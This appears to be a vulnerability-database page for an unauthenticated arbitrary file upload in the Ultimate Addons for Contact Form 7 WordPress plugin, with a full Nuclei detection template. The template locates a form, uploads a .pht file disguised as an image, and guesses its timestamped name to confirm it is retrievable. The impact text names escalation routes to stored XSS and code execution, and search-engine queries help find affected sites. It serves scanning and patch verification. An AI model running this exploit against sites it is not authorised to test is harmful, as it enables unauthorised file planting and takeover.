CVE-2026-82901: Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload

2026-11-09 PoC Public

Description

Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as "{time()}-{field_name}-{sanitize_file_name(basename)}". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.

Details

CVE
CVE-2026-82901 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-82901

info:
  name: Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload
  author: DhiyaneshDk
  severity: high
  description: |
    Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as "{time()}-{field_name}-{sanitize_file_name(basename)}". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.
  impact: |
    Unauthenticated arbitrary file write into a web-accessible directory under the site origin. This enables planting attacker-controlled content (HTML/SVG leading to stored XSS, phishing pages, .htaccess where AllowOverride permits). Where the web server maps a surviving executable extension (e.g. .pht, .phar, .phtml) to the PHP handler, it escalates to remote code execution; note that Contact Form 7 core runs wpcf7_antiscript_file_name() first and rewrites php/phtml/pl/py/rb/cgi/asp/aspx uploads to a harmless *.<ext>_.txt, so a plain .php name does not execute on a default install.
  remediation: |
    Update Ultimate Addons for Contact Form 7 to 3.5.51 or later. As mitigation, disable the PDF Generator module and deny script execution and direct access in wp-content/uploads/.
  reference:
    - https://patchstack.com/database/wordpress/plugin/ultimate-addons-for-contact-form-7/vulnerability/wordpress-ultra-addons-for-contact-form-7-plugin-3-2-4-3-5-50-unauthenticated-arbitrary-file-upload-vulnerability
    - https://plugins.trac.wordpress.org/browser/ultimate-addons-for-contact-form-7/tags/3.5.48/addons/pdf-generator/pdf-generator.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82901
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.1
    cve-id: CVE-2026-82901
    epss-score: 0.04328
    epss-percentile: 0.91248
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: themefic
    product: ultimate-addons-for-contact-form-7
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ultimate-addons-for-contact-form-7/
    fofa-query: body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
  tags: cve,cve2026,wordpress,wp-plugin,file-upload,intrusive,uacf7,themefic,vkev

variables:
  marker: "{{randstr}}"
  filename: "{{rand_text_alpha(8)}}"
  sig_field: "your-signature"
  ts_guess: "0"

flow: |
  http(1);
  if (!template["form_id"]) {
    http(2);
  }
  if (!template["form_id"]) stop();
  if (!template["unit_tag"]) {
    set("unit_tag", "wpcf7-f" + template["form_id"] + "-o1");
  }
  if (!template["sig_field"]) {
    set("sig_field", "your-signature");
  }
  var ts_before = Math.floor(new Date().getTime() / 1000);
  http(3);
  var ts_after = Math.floor(new Date().getTime() / 1000);
  for (var delta = ts_after - ts_before + 5; delta >= -2; delta--) {
    set("ts_guess", String(ts_before + delta));
    if (http(4)) break;
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - "contact-forms/(\\d+)/feedback"
          - "name=[\"']_wpcf7[\"'][^>]*value=[\"'](\\d+)[\"']"
          - "id=[\"']wpcf7-f(\\d+)-"
        internal: true

      - type: regex
        name: unit_tag
        part: body
        group: 1
        regex:
          - "name=[\"']_wpcf7_unit_tag[\"'][^>]*value=[\"']([^\"']+)[\"']"
          - "id=[\"'](wpcf7-f\\d+-[a-z]?\\d*-?o\\d+)[\"']"
        internal: true

      - type: regex
        name: sig_field
        part: body
        group: 1
        regex:
          - "(?i)name=[\"']([^\"']*(?:uacf7[_-]?sign(?:ature)?)[^\"']*)[\"']"
          - "name=[\"'](your-signature)[\"']"
        internal: true

  - raw:
      - |
        GET /contact/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /contact-us/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - "contact-forms/(\\d+)/feedback"
          - "name=[\"']_wpcf7[\"'][^>]*value=[\"'](\\d+)[\"']"
          - "id=[\"']wpcf7-f(\\d+)-"
        internal: true

      - type: regex
        name: unit_tag
        part: body
        group: 1
        regex:
          - "name=[\"']_wpcf7_unit_tag[\"'][^>]*value=[\"']([^\"']+)[\"']"
          - "id=[\"'](wpcf7-f\\d+-[a-z]?\\d*-?o\\d+)[\"']"
        internal: true

      - type: regex
        name: sig_field
        part: body
        group: 1
        regex:
          - "(?i)name=[\"']([^\"']*(?:uacf7[_-]?sign(?:ature)?)[^\"']*)[\"']"
          - "name=[\"'](your-signature)[\"']"
        internal: true

  - raw:
      - |
        POST /wp-json/contact-form-7/v1/contact-forms/{{form_id}}/feedback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUACF782901x
        X-Requested-With: XMLHttpRequest
        Accept: application/json

        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="_wpcf7"

        {{form_id}}
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="_wpcf7_unit_tag"

        {{unit_tag}}
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-name"

        Nuclei
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-email"

        nuclei@scanner.tld
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-message"

        test
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="{{sig_field}}"; filename="{{filename}}.pht"
        Content-Type: image/png

        CVE-2026-82901-{{marker}}-UPLOAD
        ------WebKitFormBoundaryUACF782901x--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "contact_form_id")'
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-{{sig_field}}-{{filename}}.pht HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-your-signature-{{filename}}.pht HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "CVE-2026-82901-" + marker + "-UPLOAD")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022071bb188fbb9fd2baf816a0599d0760918967a7126b025a16ad7ffea0de8ecfd9022069c97f9421b46d78d9998a7d23943a07f29e67336edcb0f84d00f20093b46bc6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life